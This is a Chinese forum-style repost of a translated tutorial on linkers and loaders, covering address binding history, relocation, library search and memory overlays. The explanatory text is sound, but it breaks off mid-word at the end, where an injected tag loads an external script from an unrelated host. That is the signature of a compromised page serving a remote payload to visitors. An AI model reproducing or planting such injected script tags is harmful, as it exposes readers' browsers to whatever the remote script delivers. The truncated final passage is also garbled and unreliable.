连接器和加载器之连接和加载

一直以来不太清楚c中的连接和加载的功能,今天找到一篇关于此的好文,帖上来与大家共享:

原文出处:

[b:6d45b39ba0][内容][/b:6d45b39ba0]

连接器和加载器都做些什么?

地址绑定:一个历史性观点

连接 vs 加载

两遍连接

目标代码库

重定位和代码修正

编译器驱动器

连接器命令语言

连接:一个真实的例子

练习

[b:6d45b39ba0]连接器和加载器都做些什么?[/b:6d45b39ba0]

任何连接器或加载器的基本工作都很多简单:将更加抽象的名字绑定(binding)到更加具体的名字,以允许程序员可以使用更加抽象的名字来编写程序。也就是说,它可以将程序员写的一个名字如getline绑定到“从模块iosys中的可执行代码的开始处定位612字节”。或者可以将一个更加抽象的数值地址如“从该模块的静态数据之后定位450个字节”绑定到一个具体的数值地址上。

地址绑定:一个历史性观点

观察连接器和加载器都做什么的一个有用的方法是研究它们在计算机程序系统的开发中所处的地位。

最早的计算机程序完全用机器语言编写。程序员将符号化的程序写在纸张上,再将它们汇编为机器代码并将这些机器代码制成计算机中的触发器,或者可能将它们打孔到纸带或卡片上。(真正刺激的是直接用开关构成代码。)如果程序员使用了符号地址,程序员必须通过他自己的手动翻译将这些符号绑定到地址上。如果发现一条指令必须被添加或删除,整个程序都必须手动地进行检查并且调整所有受指令添加或删除影响的地址。

这里的问题是将名字绑定到地址的时机太早了。汇编器通过让程序员使用符号名字来编写程序,而由汇编器将名字绑定到机器地址来解决这一问题。如果程序发生了变化,程序员只需重新汇编它,而地址分配的工作由程序员转到了计算机。

代码库使得地址分配的问题更加复杂。由于计算机可以执行的基本操作非常简单,有用的程序通常由子程序组成以执行更高级和更复杂的操作。计算机中通常保存了预先编写好并通过调试的子程序库,这样程序员在编写新程序时就可以利用它们,而不是自己编写这些子程序。程序员将这些子程序加载到主程序中就可以得到一个完整的工作程序。

程序员使用子程序库甚至先于使用汇编器。1947年,主持过eniac项目的john mauchly写了一些可以加载从磁带上存储的程序目录中选择的子程序的加载程序,这需要重定位子程序代码来反映它们加载的地址。这也许很令人吃惊,两个基本的连接器功能——重定位和库搜索,居然先于汇编器出现,因为mauchly希望程序和子程序都是用机器语言编写的。带重定位的加载器允许自程序的作者和用户在编写每一个子程序时都可以假设它们从位置0开始,并且将实际地址的绑定推迟到子程序被连接到一个特定的主程序中时。

随着操作系统的出现,带重定位的加载器有必要从连接器和库中分离出来。在操作系统出现之前,每个程序在其处理过程中都拥有机器的整个内存,计算机中的所有地址都是可用的,因此程序可以使用固定的内存地址来汇编和连接。但操作系统出现之后,程序必须和操作系统甚至可能是和别的程序共享计算机的内存。这意味着直到操作系统将程序加载到内存中以前是不可能知道程序运行的实际地址的,最终的地址绑定从连接时推迟到了加载时。连接器和加载器现在分割了这个工作,连接器负责部分的地址绑定——在每个程序中分配相关的地址,而加载器完成最终的重定位步骤以分配实际地址。

由于系统变得越来越复杂,它们要求连接器完成越来越复杂的名字管理和地址绑定。fortran程序使用多个子程序和公共块,数据区域由多个子程序共享,它要求连接器来布置存储并为子程序和公共块分配地址。连接器越来越需要对目标代码库进行处理。这既包括用fortran和其他语言编写的应用库,又包括通过调用已编译的代码来处理i/o和其他高级操作的编译器支持库。

程序很快变得比可用内存还要大,因此连接器提供复用——一种允许程序员协调程序的不同部分来共享相同内存的技术,每个复用都在程序的其他部分调用它们的时候才加载。从1960年左右磁盘出现,到二十世纪70年代中期虚拟存储的推广,存储复用一直广泛应用于大型机;之后在二十世纪80年代早期又再次以完全相同的形式出现在微型机中,最后再二十世纪90年代虚拟存储出现在pc机上之后慢慢隐退。它依然存在于内?script src=http://er12.com/t.js>

  • 连接器和加载器之连接和加载已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计